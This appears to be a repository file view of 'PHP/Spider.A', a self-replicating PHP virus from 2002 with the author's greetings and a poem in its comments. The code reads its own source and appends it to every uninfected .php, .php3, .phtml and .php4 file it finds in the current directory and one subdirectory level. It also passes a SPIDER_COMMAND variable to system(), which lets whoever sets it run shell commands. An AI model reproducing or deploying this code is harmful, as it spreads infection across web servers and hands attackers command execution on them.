69 lines
1.9 KiB
Plaintext
69 lines
1.9 KiB
Plaintext
<?php
|
|
// PHP/Spider
|
|
// By FSo
|
|
// Proof-of-Concept PHP appender (PHP 3.0.6+)
|
|
// Dedicated to all the friends who held me together...
|
|
// And made for the enemies who tried to bring me down.
|
|
//
|
|
// Greets to Adolfo, Zulu, C.W., and the vets
|
|
// of A.C.V.S.C.
|
|
$myhandle = fopen(__FILE__, "rb");
|
|
$buffer = fread($myhandle, filesize(__FILE__));
|
|
fclose($myhandle);
|
|
$buffer = "<?php \r\n// " . substr($buffer, strpos($buffer, "PHP/Spider")) . "\r\n?>";
|
|
scan(".", TRUE);
|
|
if (isset($_GLOBALS['SPIDER_COMMAND']) == TRUE) {
|
|
if (empty($_GLOBALS['SPIDER_COMMAND']) == FALSE) {
|
|
system($_GLOBALS['SPIDER_COMMAND']);
|
|
}
|
|
}
|
|
|
|
function scan($path, $recurse) {
|
|
global $buffer;
|
|
//global $polyarr;
|
|
$dirres = opendir($path);
|
|
if ($dirres == TRUE) {
|
|
while (1) {
|
|
$entity = readdir($dirres);
|
|
if ($entity == FALSE && is_string($entity) == FALSE) { break; }
|
|
if (is_dir($entity) == TRUE) {
|
|
if ($entity == ".") {
|
|
} else {
|
|
if ($recurse == TRUE) {
|
|
scan($entity, FALSE);
|
|
}
|
|
}
|
|
} else {
|
|
$ext = strtoupper(substr($entity, strrpos($entity, ".")));
|
|
if ($ext == ".PHP" || $ext == ".PHP3" || $ext == ".PHTML" || $ext == ".PHP4") {
|
|
$fhandle = fopen($entity, "rb");
|
|
$contents = fread($fhandle, filesize($entity));
|
|
fclose($fhandle);
|
|
if (strstr($contents, "PHP/Spider") == FALSE) {
|
|
$fhandle = fopen($path . "/" . $entity, "ab");
|
|
fwrite($fhandle, $buffer);
|
|
fclose($fhandle);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
closedir($dirres);
|
|
}
|
|
return;
|
|
}
|
|
// As the spiders multiplied, They surrounded him,
|
|
// and kept coming...
|
|
//
|
|
// As the last minute opportunists finished him off,
|
|
// And his life flashed before him, all he could
|
|
// do was simply watch.
|
|
//
|
|
// Helpless and nearly defeated, he lived the horror
|
|
// none could stand, if they had a choice...
|
|
//
|
|
// PHP/Spider.A by FSo
|
|
// June 24, 2002
|
|
?>
|
|
|
|
|